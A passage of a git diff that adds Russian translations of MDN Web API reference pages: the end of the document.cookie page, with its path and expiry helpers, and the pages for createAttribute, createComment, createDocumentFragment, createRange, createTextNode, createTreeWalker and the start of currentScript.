+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]</pre>
+
+<h5 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h5>
+
+<pre class="eval notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+</pre>
+
+<h3 id="Использование_относительных_ссылок_в_параметре_path">Использование относительных ссылок в параметре path</h3>
+
+<p>The <a href="#new-cookie_path"><code>path</code></a> parameter of a new cookie can accept only <em>absolute</em> paths. If you want to use <em>relative</em> paths, therefore, you need to convert them. The following function can translate <em>relative</em> paths to <em>absolute</em> paths. It is a general-purpose function, but can be of course successifully used for the <a href="#new-cookie_path"><code>path</code></a> parameter of a new cookie, as well.</p>
+
+<h5 id="Library">Library</h5>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  :: Translate relative paths to absolute paths ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  The following code is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function relPathToAbs (sRelPath) {
+  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
+  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd &gt; -1; nStart = nEnd + nUpLn) {
+    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
+    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
+  }
+  return sDir + sPath.substr(nStart);
+}</pre>
+
+<h5 id="Sample_usage">Sample usage</h5>
+
+<pre class="brush: js notranslate">/* Let us be in /en-US/docs/Web/API/document.cookie */
+
+alert(location.pathname);
+// displays: /en-US/docs/Web/API/document.cookie
+
+alert(relPathToAbs("./"));
+// displays: /en-US/docs/Web/API/
+
+alert(relPathToAbs("../Guide/API/DOM/Storage"));
+// displays: /en-US/docs/Web/Guide/API/DOM/Storage
+
+alert(relPathToAbs("../../Firefox"));
+// displays: /en-US/docs/Firefox
+
+alert(relPathToAbs("../Guide/././API/../../../Firefox"));
+// displays: /en-US/docs/Firefox</pre>
+
+<h3 id="Относительный_срок_годности_cookie_числовые_примеры">Относительный срок годности cookie: числовые примеры</h3>
+
+<p>If you don't want to use an <em>absolute date</em> for the <code>end</code> parameter, here you can find some numeric examples of expiration-dates <em>relative to the moment of storage of the cookie</em>:</p>
+
+<pre class="brush: js notranslate">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
+docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
+docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
+docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR</pre>
+
+<h2 id="Другие_примеры">Другие примеры</h2>
+
+<h3 id="Example_5_Do_something_only_once_–_a_general_library">Example #5: Do something only once – <em>a general library</em></h3>
+
+<h4 id="Библиотека">Библиотека</h4>
+
+<pre class="notranslate"><code>function executeOnce () {
+  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
+  if (bImplGlob) { argc++; }
+  if (argc &lt; 3) { throw new TypeError("executeOnce - not enough arguments"); }
+  var fExec = arguments[0], sKey = arguments[argc - 2];
+  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
+  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
+  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
+  fExec.apply(argc &gt; 3 ? arguments[1] : null, argc &gt; 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
+  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
+  return true;
+}</code></pre>
+
+<h4 id="Синтаксис_2">Синтаксис</h4>
+
+<pre class="notranslate">executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre>
+
+<h4 id="Описание">Описание</h4>
+
+<p>Executes a function only once, even after the refresh of the page.</p>
+
+<h4 id="Параметры">Параметры</h4>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>The function to be executed ({{jsxref("function", "", "", "1")}}).</dd>
+ <dt><code>thisObject</code> Optional</dt>
+ <dd>The {{jsxref("Operators/this", "this")}} object ({{jsxref("Object", "", "", "1")}} or {{jsxref("Global_Objects/null", "null")}}).</dd>
+ <dt><code>argumentToPass1, argumentToPass2, argumentToPassN</code> Optional</dt>
+ <dd>The arguments of the <code>callback</code> function.</dd>
+ <dt><code>identifier</code></dt>
+ <dd>The identifier to check, i.e. the name of the cookie ({{jsxref("String", "string", "", "1")}})</dd>
+ <dt><code>onlyHere</code> Optional</dt>
+ <dd>A {{jsxref("Boolean", "boolean", "", "1")}} expressing whether the cookie will use the local path (<code>true</code>) instead of the global one (<code>false</code> or <code>undefined</code>) ({{jsxref("Boolean", "boolean", "", "1")}} or {{jsxref("Global_Objects/undefined", "undefined")}})</dd>
+</dl>
+
+<h4 id="Примеры_использования">Примеры использования</h4>
+
+<pre class="notranslate"><code>function alertSomething (sMsg) {
+  alert(sMsg);
+}
+
+executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Cookie Prefixes")}}</td>
+   <td>{{Spec2("Cookie Prefixes")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.cookie")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li>
+ <li>{{jsxref("Date.toUTCString()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP"><code>HTTP</code></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a></li>
+</ul>
diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html
new file mode 100644
index 0000000000..97cbba7120
--- /dev/null
+++ b/files/ru/web/api/document/createattribute/index.html
@@ -0,0 +1,86 @@
+---
+title: Document.createAttribute()
+slug: Web/API/Document/createAttribute
+translation_of: Web/API/Document/createAttribute
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Метод <code><strong>Document.createAttribute()</strong></code> создает новый атрибут узла и возвращает его.  Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определенному элементу таким способом.</span></p>
+
+<div class="note">
+<p>Строка, заданная в параметре, преобразуется в нижний регистр.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>attribute</em> = document.createAttribute(name)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>name</code> строка, содержащая имя атрибута.</li>
+</ul>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Attr")}} node.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>INVALID_CHARACTER_ERR</code> если параметр содержит недопустимые символы для атрибута XML.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var node = document.getElementById("div1");
+var a = document.createAttribute("my_attrib");
+a.value = "newVal";
+node.setAttributeNode(a);
+console.log(node.getAttribute("my_attrib")); // "newVal"
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Точное поведение с прописными символами</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.createAttribute")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.createElement()")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/createcomment/index.html b/files/ru/web/api/document/createcomment/index.html
new file mode 100644
index 0000000000..998d803e64
--- /dev/null
+++ b/files/ru/web/api/document/createcomment/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.createComment()
+slug: Web/API/Document/createComment
+translation_of: Web/API/Document/createComment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary"><span class="short_text" id="result_box" lang="ru"><span class="hps">Основное</span></span></h2>
+
+<p><code>createComment()</code> создаёт новый комментарий и возвращает его.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>CommentNode</em> = document.createComment(data)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Аргументы</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Строка, которая будет внутри комментария</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var docu = new DOMParser().parseFromString('&lt;xml&gt;&lt;/xml&gt;',  "application/xml");
+var comment = docu.createComment('Это комментарий на странице');
+
+docu.getElementsByTagName('xml')[0].appendChild(comment);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Выведет: &lt;xml&gt;&lt;!--Это комментарий на странице--&gt;&lt;/xml&gt;</pre>
+
+<h2 id="Notes" name="Notes"><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечания</span></span></h2>
+
+<ul>
+ <li>Вернёт <strong><code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code></strong>,  если "--" есть в содержимом тега.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createComment">createComment</a></li>
+</ul>
diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..adc966e765
--- /dev/null
+++ b/files/ru/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,137 @@
+---
+title: Document.createDocumentFragment()
+slug: Web/API/Document/createDocumentFragment
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Создает новый пустой {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>fragment</var> = document.createDocumentFragment();
+</pre>
+
+<p><code>fragment</code> это ссылка на пустой объект {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>DocumentFragment</code>s являются DOM нодами. Они, при этом, не являются частями основного дерева DOM. Обычно используются для создания фрагмента документа, добавления в него новых элементов/нод, а затем присоединения этого фрагмента к основному дереву. В основном дереве фрагмент буден заменён собственными дочерними элементами.</p>
+
+<p>Поскольку фрагмент документа хранится <strong>в памяти</strong> и не является частью основного дерева, добавление в него дочерних элементов не вызывает <a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a> (вычисление геометрии и позиций элементов). В следствие этого, использование фрагментов документа часто <a href="http://ejohn.org/blog/dom-documentfragments/">увеличивает производительность</a>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var element  = document.getElementById('ul'); // assuming ul exists
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
+element.appendChild(fragment);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Clarifies that the node document of the created document fragment is the context object.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/createrange/index.html b/files/ru/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..823af66676
--- /dev/null
+++ b/files/ru/web/api/document/createrange/index.html
@@ -0,0 +1,33 @@
+---
+title: Document.createRange()
+slug: Web/API/Document/createRange
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает новый объект типа {{domxref("Range")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">range = document.createRange();
+</pre>
+
+<p><code>range</code> содержит созданный объект {{domxref("Range")}}.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>После того, как Range был создан, Вам необходимо установить границы, прежде чем вы сможете использовать большую часть методов.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li>
+</ul>
diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..a076f8316f
--- /dev/null
+++ b/files/ru/web/api/document/createtextnode/index.html
@@ -0,0 +1,120 @@
+---
+title: Document.createTextNode()
+slug: Web/API/Document/createTextNode
+translation_of: Web/API/Document/createTextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Создает новый текстовый узел.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var text</var> = document.createTextNode(<var>data</var>);
+</pre>
+
+<ul>
+ <li><code>text</code> - это текстовый узел.</li>
+ <li><code>data</code> - это строка с данными, которые будут помещены в текстовый узел.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode example&lt;/title&gt;
+&lt;script&gt;
+function addTextNode(text) {
+  var newtext = document.createTextNode(text),
+      p1 = document.getElementById("p1");
+
+  p1.appendChild(newtext);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;button onclick="addTextNode('YES! ');"&gt;YES!&lt;/button&gt;
+  &lt;button onclick="addTextNode('NO! ');"&gt;NO!&lt;/button&gt;
+  &lt;button onclick="addTextNode('WE CAN! ');"&gt;WE CAN!&lt;/button&gt;
+
+  &lt;hr /&gt;
+
+  &lt;p id="p1"&gt;First line of paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/document/createtreewalker/index.html b/files/ru/web/api/document/createtreewalker/index.html
new file mode 100644
index 0000000000..452fb1651e
--- /dev/null
+++ b/files/ru/web/api/document/createtreewalker/index.html
@@ -0,0 +1,155 @@
+---
+title: Document.createTreeWalker()
+slug: Web/API/Document/createTreeWalker
+translation_of: Web/API/Document/createTreeWalker
+---
+<div>{{ApiRef("Document")}}</div>
+
+<div>Вызов метода <code><strong>Document.createTreeWalker()</strong></code> возвращает новый объект класса  {{domxref("TreeWalker")}}.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>[, <em>filter</em>[, <em>entityReferenceExpansion</em>]]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>root </code></dt>
+ <dd>корневой узел {{domxref("Node")}} для {{domxref("TreeWalker")}}. Чаще всего это элемент принадлежащий document.</dd>
+ <dt><code>whatToShow</code> {{optional_inline}}</dt>
+ <dd>A <code>unsigned long</code> representing a bitmask created by combining the constant properties of <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>. It is a convenient way of filtering for certain types of node. It defaults to <code>0xFFFFFFFF</code> representing the <code>SHOW_ALL</code> constant.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Константа</td>
+    <td class="header">Числовое значение</td>
+    <td class="header">Описание</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (that is the max value of <code>unsigned long</code>)</td>
+    <td>Показывать все узлы.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>Shows {{domxref("CDATASection")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Shows {{domxref("Comment")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Shows {{domxref("Document")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Shows {{domxref("DocumentFragment")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Shows {{domxref("DocumentType")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Shows {{domxref("Element")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>Shows {{domxref("EntityReference")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Shows {{domxref("ProcessingInstruction")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Shows {{domxref("Text")}} nodes.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>filter</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("NodeFilter")}}, that is an object with a method <code>acceptNode</code>, which is called by the {{domxref("TreeWalker")}} to determine whether or not to accept a node that has passed the <code>whatToShow</code> check.</dd>
+ <dt><code>entityReferenceExpansion</code> {{optional_inline}} {{obsolete_inline}}</dt>
+ <dd>A {{domxref("Boolean")}} flag indicating if when discarding an {{domxref("EntityReference")}} its whole sub-tree must be discarded at the same time.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A new {{domxref("TreeWalker")}} object.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>The following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the <code>acceptNode()</code> method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array.</p>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the <code>expandEntityReferences</code> parameter. Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.createTreeWalker")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface of the object it creates: {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/ru/web/api/document/currentscript/index.html b/files/ru/web/api/document/currentscript/index.html
new file mode 100644
index 0000000000..e4d3849b73
--- /dev/null
+++ b/files/ru/web/api/document/currentscript/index.html
@@ -0,0 +1,110 @@
+---
+title: Document.currentScript
+slug: Web/API/Document/currentScript
+translation_of: Web/API/Document/currentScript
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Возвращает элемент {{HTMLElement("script")}}, который выполняется в данный момент.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>curScriptElement</var> = document.currentScript;
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
